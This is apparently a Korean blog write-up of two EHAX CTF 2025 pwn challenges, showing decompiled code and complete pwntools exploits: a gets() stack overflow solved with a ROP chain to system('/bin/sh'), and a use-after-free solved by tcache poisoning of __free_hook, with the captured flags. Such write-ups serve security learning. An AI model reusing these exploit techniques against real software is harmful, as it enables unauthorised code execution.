Void
EHAX CTF 2025 본문

새벽 1시에 시작한 대회여서 포너블만 올솔하고 자러갔다. 포너블 2문제 모두 2등으로 풀어서 퍼블을 놓쳤다.
Fantastic doom
$ checksec chall
[*] '/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
int __cdecl main(int argc, const char **argv, const char **envp)
{
wctrans_t (**v3)(const char *); // rsi
unsigned int v4; // eax
char v6[140]; // [rsp+0h] [rbp-A0h] BYREF
int v7; // [rsp+8Ch] [rbp-14h]
unsigned __int64 j; // [rsp+90h] [rbp-10h]
unsigned __int64 i; // [rsp+98h] [rbp-8h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3 = 0LL;
setvbuf(stderr, 0LL, 2, 0LL);
v4 = time(0LL);
srand(v4);
puts("Hemlo Doombot69!");
for ( i = 0LL; i <= 0x44; ++i )
{
v7 = rand() % 42 + 2;
printf("0x44");
for ( j = 0LL; j < v7; ++j )
printf("4F");
printf("4D");
if ( i == 42 )
{
v3 = &wctrans;
printf("%p", &wctrans);
}
}
printf("\nEnter authcode: ");
memset(v6, 0, 0x80uLL);
gets(v6, v3, v6);
puts("Failed Login");
return 0;
}
libc 주소를 출력해준다. 카나리도 없으니 rop 로 해결할 수 있다.
from pwn import *
def log(n, a) : print('[*]', n, ':', hex(a))
p=remote('chall.ehax.tech', 4269)
l=ELF('./libc-2.27.so')
libc_base=int(p.recvuntil(b'5e0')[-14:].decode(), 16)-l.symbols['wctrans']
log('libc_base', libc_base)
ret=libc_base+0x00000000000008aa
pop_rdi=libc_base+0x000000000002164f
system=libc_base+l.symbols['system']
binsh=libc_base+next(l.search(b'/bin/sh'))
payload=b'a'*0xa0+p64(0)
payload+=p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendlineafter(b'Enter authcode: ', payload)
p.interactive()
EH4X{st4n_l33_c4m30_m1ss1ng_dOOoOoOoOoOOm}
Cash Memo
$ checksec chall
[*] '/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
__int64 mallocc()
{
int v0; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
int n; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
printf("which index?\n> ");
__isoc99_scanf("%d", &v2);
getchar();
printf("how big?\n> ");
__isoc99_scanf("%d", &n);
getchar();
if ( v2 > 0x63 )
{
puts("Invalid request");
return 1LL;
}
else
{
v0 = v2;
*((_QWORD *)&arr + v0) = malloc(n);
arr_size[v2] = n;
++space;
printf("first payload?\n> ");
fgets(*((char **)&arr + (int)v2), n, stdin);
return 0LL;
}
}
__int64 freee()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("which index?\n> ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 > 0x63 )
{
puts("Invalid request");
return 1LL;
}
else
{
free(*((void **)&arr + (int)v1));
--space;
return 0LL;
}
}
__int64 edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("which index?\n> ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 > 0x63 )
{
puts("Invalid request");
return 1LL;
}
else
{
printf("New contents?\n> ");
fgets(*((char **)&arr + (int)v1), arr_size[v1] + 64, stdin);
return 0LL;
}
}
__int64 view()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("which index?\n> ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 > 0x63 )
{
puts("Invalid request");
return 1LL;
}
else
{
puts(*((const char **)&arr + (int)v1));
return 0LL;
}
}
간단한 note challege 이다. free, edit, view 과정에서 free chunk 에 대한 처리가 없다. 그래서 unsorted bin 만들어서 libc leak 진행한 이후, tcache poisoning 으로 free hook을 system으로 덮고 '/bin/sh' 을 저장한 chunk를 free하면 해결할 수 있다.
from pwn import *
def log(n, a) : print('[*]', n, ':', hex(a))
def malloc(idx, size, data) :
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', str(idx).encode())
p.sendlineafter(b'> ', str(size).encode())
p.sendlineafter(b'> ', data)
def free(idx) :
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', str(idx).encode())
def edit(idx, data) :
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', str(idx).encode())
p.sendlineafter(b'> ', data)
def read(idx) :
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'> ', str(idx).encode())
return p.recvline()[:-1]
#p=process('./chall')
p=remote('chall.ehax.tech', 1925)
l=ELF('./libc-2.31.so')
malloc(0, 0x10, b'a')
malloc(1, 0x500, b'b')
malloc(2, 0x10, b'c')
free(0)
free(1)
free(2)
heap_base=u64(read(2)+b'\x00'*2)-0x2a0
log('heap_base', heap_base)
libc_base=u64(read(1)+b'\x00'*2)-0x1ecbe0
log('libc_base', libc_base)
malloc(3, 0x80, b'a')
malloc(4, 0x80, b'b')
free(3)
free(4)
hook=libc_base+l.symbols['__free_hook']
system=libc_base+l.symbols['system']
edit(4, p64(hook))
malloc(5, 0x80, b'/bin/sh\x00')
malloc(6, 0x80, p64(system))
free(5)
p.interactive()
EH4X{fr33_h00k_c4n_b3_p01ns0n3d_1t_s33m5}
'CTF' 카테고리의 다른 글
| WolvCTF 2025 - PWN (0) | 2025.03.24 |
|---|---|
| PwnMe CTF 2025 - PWN (0) | 2025.03.09 |
| CCE 2024 Quals | Pwn - Untrusted Compiler (0) | 2025.02.03 |
| YISF 2024 Finals | Pwn - Happy SIGnal (0) | 2025.01.21 |
| UofTCTF 2025 - Pwn (4/6) (0) | 2025.01.15 |